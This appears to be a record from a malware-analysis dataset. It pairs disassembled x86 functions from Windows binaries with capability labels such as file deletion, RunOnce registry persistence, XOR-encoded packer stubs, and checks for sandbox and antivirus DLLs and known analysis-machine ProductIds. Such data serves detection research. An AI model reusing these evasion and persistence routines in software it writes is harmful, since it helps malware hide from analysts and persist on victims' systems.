joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401229
Capabilities:
Delete file

Disassembly:
push esi
push edi
push str.MoveFileExW
push 0x41aa54
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x401271
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x401271
test edi, edi
je 0x401271
push 4
push eax
push esi
call edi
pop edi
pop esi
ret

Function at 0x401274
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8a40
call fcn.004144f0
mov eax, dword [0x41d004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x208
xor esi, esi
lea eax, [ebp - 0x20c]
push esi
push eax
mov edi, edx
mov ebx, ecx
call fcn.004046f0
add esp, 0xc
mov dword [ebp - 0x8a18], 0x104
lea eax, [ebp - 0x8a40]
mov dword [ebp - 0x8a14], esi
mov dword [ebp - 0x8a10], esi
push eax
lea eax, [ebp - 0x8a28]
push eax
lea eax, [ebp - 0x8a2c]
push eax
lea eax, [ebp - 0x8a30]
push eax
lea eax, [ebp - 0x8a10]
push eax
lea eax, [ebp - 0x8a34]
push eax
lea eax, [ebp - 0x8a38]
push eax
lea eax, [ebp - 0x8a14]
push eax
push esi
lea eax, [ebp - 0x8a18]
push eax
lea eax, [ebp - 0x20c]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov eax, dword [ebp - 0x8a10]
test eax, eax
je 0x4013d5
xor eax, eax
mov dword [ebp - 0x8a1c], 0x3fff
push eax
push eax
push eax
push eax
mov word [ebp - 0x8a0c], ax
lea eax, [ebp - 0x8a1c]
push eax
lea eax, [ebp - 0x8a0c]
push eax
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x4013c8
lea eax, [ebp - 0x8a0c]
push edi
push eax
call fcn.00404482
pop ecx
pop ecx
test eax, eax
jne 0x4013e6
push 0x800
push eax
lea eax, [ebp - 0xa0c]
mov dword [ebp - 0x8a24], 1
push eax
call fcn.004046f0
add esp, 0xc
mov dword [ebp - 0x8a20], 0x400
lea eax, [ebp - 0x8a20]
push eax
lea eax, [ebp - 0xa0c]
push eax
lea eax, [ebp - 0x8a24]
push eax
push 0
lea eax, [ebp - 0x8a0c]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4013c8
lea eax, [ebp - 0xa0c]
push edi
push eax
call fcn.00404482
pop ecx
pop ecx
test eax, eax
jne 0x4013e6
inc esi
cmp esi, dword [ebp - 0x8a10]
jb 0x40131b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040381e
leave
ret
xor eax, eax
inc eax
jmp 0x4013d7
Function at 0x4013eb
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x888
mov eax, dword [0x41d004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xc
mov dword [ebp - 0x884], ecx
lea edi, [ebp - 0x6c]
pop ecx
mov esi, str.SYSTEMCurrentControlSetControlSession_Manager
and dword [ebp - 0x874], 0
rep movsd dword es:[edi], dword [esi]
push 0xc
pop ecx
push 0x41aad0
movsb byte es:[edi], byte [esi]
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
lea edi, [ebp - 0x38]
rep movsd dword es:[edi], dword [esi]
push 0x41aae0
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x401458
lea eax, [ebp - 0x874]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov edi, dword [ebp - 0x874]
lea eax, [ebp - 0x87c]
neg edi
push eax
sbb edi, edi
lea eax, [ebp - 0x6c]
and edi, 0x100
or edi, 0x20019
push edi
push 0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40155b
mov esi, 0x800
mov dword [ebp - 0x878], 7
push esi
lea eax, [ebp - 0x86c]
push 0
push eax
call fcn.004046f0
add esp, 0xc
mov dword [ebp - 0x870], esi
lea eax, [ebp - 0x870]
push eax
lea eax, [ebp - 0x86c]
push eax
lea eax, [ebp - 0x878]
push eax
push 0
push str.PendingFileRenameOperations
push dword [ebp - 0x87c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x87c]
mov esi, eax
call ebx
test esi, esi
jne 0x40155b
mov eax, dword [ebp - 0x870]
lea esi, [ebp - 0x86c]
shr eax, 1
mov dword [ebp - 0x888], eax
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x880], 0
je 0x40155b
push dword [ebp - 0x884]
push esi
call fcn.00404482
pop ecx
pop ecx
test eax, eax
jne 0x401597
push esi
call fcn.00405859
mov ecx, dword [ebp - 0x880]
inc ecx
add ecx, eax
push esi
mov dword [ebp - 0x880], ecx
call fcn.00405859
pop ecx
pop ecx
lea esi, [esi + eax*2]
mov eax, dword [ebp - 0x880]
add esi, 2
cmp eax, dword [ebp - 0x888]
jb 0x401518
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x870]
push eax
push edi
push 0
lea eax, [ebp - 0x38]
push eax
push 0x80000002
call esi
test eax, eax
jne 0x40159e
mov edx, dword [ebp - 0x884]
mov ecx, dword [ebp - 0x870]
call fcn.00401274
push dword [ebp - 0x870]
test eax, eax
je 0x40159c
call ebx
xor eax, eax
inc eax
jmp 0x4015d6
call ebx
lea eax, [ebp - 0x870]
push eax
push edi
push 0
lea eax, [ebp - 0x38]
push eax
push 0x80000001
call esi
test eax, eax
jne 0x4015d4
mov edx, dword [ebp - 0x884]
mov ecx, dword [ebp - 0x870]
call fcn.00401274
push dword [ebp - 0x870]
test eax, eax
jne 0x401595
call ebx
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040381e
leave
ret
Function at 0x4017cf
Capabilities:
Create directory

Disassembly:
push ebx
push edi
push 0x41ab2c
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40188a
push str.SHGetSpecialFolderPathW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401883
push 0
push 0x1c
push ebx
push 0
call eax
test eax, eax
je 0x401883
push esi
push 0x41ab50
call fcn.00405859
mov dword [esp], 0x41ab50
push ebx
lea esi, [eax + 1]
call fcn.00405859
pop ecx
add eax, esi
push eax
push ebx
call fcn.004057e4
add esp, 0xc
push str.Applet
push ebx
call fcn.00405859
mov dword [esp], str.Applet
lea esi, [eax + 1]
call fcn.00405859
pop ecx
add eax, esi
push eax
push ebx
call fcn.004057e4
add esp, 0xc
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
pop esi
test eax, eax
jne 0x401873
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401883
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
call fcn.00405859
pop ecx
jmp 0x40188c
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
pop edi
pop ebx
ret

Function at 0x40188f
Capabilities:
Set current directory

Disassembly:
push ecx
push esi
push edi
mov edi, ecx
mov esi, edx
xor eax, eax
mov edx, edi
push ecx
push ecx
mov word [edi], ax
mov word [esi], ax
call fcn.004017cf
pop ecx
pop ecx
test eax, eax
je 0x4018e7
cmp eax, 0x103
ja 0x4018e7
push esi
mov ecx, edi
call fcn.004015e5
pop ecx
test eax, eax
jne 0x4018c6
push 2
pop eax
jmp 0x4018ea
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x4018e3
push edi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push esi
call fcn.004011c6
pop ecx
push 3
jmp 0x4018c3
xor eax, eax
jmp 0x4018ea
xor eax, eax
inc eax
pop edi
pop esi
pop ecx
ret

Function at 0x401a1f
Capabilities:
Check if file exists
Copy file
Get file attributes

Disassembly:
push esi
mov esi, str.LMI_Rescue_srv.exe
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401a36
xor eax, eax
inc eax
pop esi
ret
push 0
push esi
push str.LMI_Rescue.exe
call dword [sym.imp.KERNEL32.dll_CopyFileW]
neg eax
pop esi
sbb eax, eax
neg eax
ret
Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x102251ba
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x532971e2
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e0c0
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x438c83
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x438a14
sub esi, esi
add edi, 1
call fcn.00438cc4
sub edi, edi
or esi, esi
xor dword [ebx], eax
sub esi, 0x6ab84b2f
and edi, esi
inc ebx
sub esi, edi
add esi, edi
mov esi, 0x2d9f4a5b
cmp ebx, edx
jne fcn.00438c83
add esi, 0x4d3dc1da
sub edi, 0xe2e02ce
ret
Function at 0x41c1fc
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041c06d

Function at 0x41c5f6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040a570
mov eax, dword [0x47da00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041a1b9
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41c638
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41c794
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00425090
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x480120]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0041d395
mov ecx, dword [esi*4 + 0x480120]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41c78d
cmp eax, dword [edi + ecx + 0x24]
jne 0x41c78d
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41c78d
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041d395
add esp, 0x14
test edx, edx
jl 0x41c78d
jg 0x41c703
test eax, eax
jb 0x41c78d
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41c78d
jl 0x41c71d
cmp dword [ebp - 0x1008], eax
ja 0x41c78d
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41c73b
test ebx, ebx
je 0x41c774
cmp ecx, edi
jae 0x41c774
mov al, byte [ecx]
cmp al, 0xd
jne 0x41c755
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41c761
cmp byte [ecx + 1], 0xa
jne 0x41c761
inc ecx
jmp 0x41c761
movzx eax, al
movsx eax, byte [eax + 0x47dcc8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41c73b
cmp edx, ebx
jne 0x41c73b
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41c792
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00409962
leave
ret
Function at 0x41c833
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x480120]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41c873
cmp byte [ebx], 0xa
jne 0x41c873
or byte [eax + edi + 0x28], 4
jmp 0x41c878
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41c976
mov al, byte [edx]
cmp al, 0x1a
je 0x41c958
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41c8a7
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41c8cc
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41c8d6
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41c889
jmp 0x41c976
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41c953
cmp dword [ebp - 0xc], 0
je 0x41c953
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x480120]
test byte [eax + edi + 0x28], 0x48
je 0x41c92d
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41c918
mov byte [esi], dl
jmp 0x41c929
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x480120]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41c976
cmp byte [ebp - 1], 0xa
jne 0x41c93c
cmp esi, ebx
jne 0x41c93c
mov byte [esi], 0xa
jmp 0x41c975
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041d3b3
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41c976
mov byte [esi], 0xd
jmp 0x41c975
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x480120]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41c972
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41c976
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41c97f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x480120]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41c9c2
cmp word [esi], dx
jne 0x41c9c2
or byte [edi + eax + 0x28], 4
jmp 0x41c9c7
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41cb1a
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41cafa
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41ca09
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41ca3f
cmp eax, edx
jae 0x41ca4b
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41c9e1
jmp 0x41cb1a
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41caf6
cmp dword [ebp - 0x14], 0
je 0x41caf6
mov eax, dword [ebx*4 + 0x480120]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41cace
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x41ca97
mov word [esi], cx
jmp 0x41caca
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x480120]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x480120]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x480120]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41cb1a
pop ebx
cmp word [ebp - 4], bx
jne 0x41cadf
cmp esi, dword [ebp + 0xc]
jne 0x41cadf
mov word [esi], bx
jmp 0x41cb17
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041d3b3
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41cb1a
push 0xd
jmp 0x41cb13
mov ecx, dword [ebx*4 + 0x480120]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41cb11
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41cb1a
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41da4c
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x47da00]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x41da97
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0041dbeb
test al, al
jne 0x41da91
sub edx, 2
cmp edx, edi
jne 0x41da77
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x41dab9
lea eax, [edi + 2]
cmp edx, eax
je 0x41dab9
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0041d998
add esp, 0x10
jmp 0x41dbb3
push esi
lea ecx, [ebp - 0x255]
call fcn.0041dbeb
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41dafc
push dword [ebp - 0x25c]
jmp 0x41daa9
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x41db39
cmp word [ebp - 0x226], 0
je 0x41db5a
cmp word [ebp - 0x226], ax
jne 0x41db39
cmp word [ebp - 0x224], 0
je 0x41db5a
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0041d998
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x41dba6
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x41db13
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x41db8e
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x41dbb3
push 0x41d7c8
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.004233c0
add esp, 0x10
jmp 0x41db83
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409962
leave
ret

Function at 0x424e90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x424ebd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x424ebd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4265dd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
sar eax, 2
push edi
mov edi, dword [ebp + 0x14]
test eax, eax
je 0x42665d
push esi
xor esi, esi
cmp dword [ebp + 0x18], esi
jbe 0x42665c
push ebx
mov ebx, 0x47f688
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
push str.Own_head
push ebx
mov byte [edi + esi], al
call fcn.004013cb
push eax
call fcn.00402409
mov al, byte [edi + esi]
add al, 0x4e
xor al, 0xdc
push str.Earth
push ebx
mov byte [edi + esi], al
call fcn.004013cb
push eax
call fcn.00402409
mov al, byte [edi + esi]
xor al, 0xac
sub al, 0x65
xor al, 0x22
sub al, 0x73
push 0x427558
mov byte [edi + esi], al
call fcn.0040eeee
xor byte [edi + esi], al
add esp, 0x1c
inc esi
cmp esi, dword [ebp + 0x18]
jb 0x4265ff
pop ebx
pop esi
lea ecx, [ebp + 8]
call fcn.00405157
pop edi
pop ebp
ret 0x14
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x6266278d
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x348e2ec8
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x402bf0
Capabilities:
Check for sandbox and av modules
Check os version
Query or enumerate registry value

Disassembly:
push edi
push esi
xor eax, eax
push ebx
mov ecx, 0x41
sub esp, 0x130
lea ebx, [esp + 0x2c]
mov dword [esp + 0x28], 0x104
mov edi, ebx
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [esp], str.SbieDll.dll
mov edi, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call esi
sub esp, 4
test eax, eax
je 0x402c40
mov eax, 1
add esp, 0x130
pop ebx
pop esi
pop edi
ret
mov dword [esp], str.snxhk.dll
call esi
sub esp, 4
test eax, eax
jne 0x402c2e
mov dword [esp], str.dbghelp.dll
call esi
sub esp, 4
test eax, eax
jne 0x402c2e
mov edx, edi
cmp dl, 5
jne 0x402c33
lea eax, [esp + 0x24]
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov dword [esp], 0x80000002
mov dword [esp + 0x10], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esp, 0x14
test eax, eax
je 0x402caf
xor esi, esi
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
mov eax, esi
jmp 0x402c33
lea eax, [esp + 0x28]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.ProductId
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
sub esp, 0x18
test eax, eax
jne 0x402c9b
mov dword [esp + 4], str.76487_640_1457236_23837
mov dword [esp], ebx
mov esi, 1
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x402c9d
mov dword [esp + 4], str.76487_644_3177037_23510
mov dword [esp], ebx
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x402c9d
mov dword [esp + 4], str.55274_640_2673064_23950
mov dword [esp], ebx
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x402c9d
mov dword [esp + 4], str.76497_640_6308873_23835
mov dword [esp], ebx
call sub.msvcrt.dll_strcmp
test eax, eax
sete al
mov esi, eax
jmp 0x402c9d